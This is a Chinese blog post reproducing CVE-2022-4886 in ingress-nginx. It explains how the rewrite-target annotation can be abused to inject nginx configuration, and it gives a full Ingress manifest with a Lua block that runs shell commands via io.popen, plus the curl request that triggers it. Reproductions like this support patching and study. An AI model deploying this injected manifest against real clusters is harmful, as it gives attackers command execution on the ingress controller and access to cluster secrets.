CVE-2022-4886 ingress命令注入复现与分析

安装

安装ingress-nginx

bash 复制代码
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml

k apply -f deploy.yaml

原理

nginx.ingress.kubernetes.io/rewrite-target标签会在nginx配置进行插入字符串,我们通过注入自己的恶意字符串,并且进行闭合,并且利用了lua脚本执行命令的功能,即可注入一个执行命令的路由来完成执行命令

复制代码
 nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;     #用于将所有请求重定向到/execute-command
      }
      #注入了一个新路径,用于通过lua脚本执行命令
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

演示

部署的ingress如下所示

复制代码
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;
      }
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

spec:
  rules:
  - host: k8s.evil.me
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 8080

在容器中可以看到

复制代码
 curl --header "Host: k8s.evil.me" http://10.98.219.148/
相关推荐
czxyvX2 小时前
019-Linux-Socket编程-TCP
linux·tcp/ip
A.A呐8 小时前
【Linux第六章】进程状态和优先级
linux
iambooo8 小时前
Shell在日志分析与故障排查中的实战应用
linux·服务器·网络
一路往蓝-Anbo9 小时前
第 9 章:Linux 设备树 (DTS) ——屏蔽与独占外设
linux·运维·服务器·人工智能·stm32·嵌入式硬件
钛态9 小时前
Flutter for OpenHarmony:dio_cookie_manager 让 Dio 发挥会话管理能力,像浏览器一样自动处理 Cookie 深度解析与鸿蒙适配指南
android·linux·运维·flutter·ui·华为·harmonyos
王码码20359 小时前
Flutter for OpenHarmony:Flutter 三方库 bluez 玩转 Linux 风格的蓝牙操作(蓝牙底层互操作)
linux·运维·服务器·前端·flutter·云原生·harmonyos
A.A呐9 小时前
【Linux第七章】进程切换和命令行参数
linux
抓饼先生9 小时前
iceoryx编译和验证
linux·c++·零拷贝·iceoryx
栈低来信10 小时前
SLUB分配器
linux
吕司10 小时前
Linux信号产生
linux·运维·服务器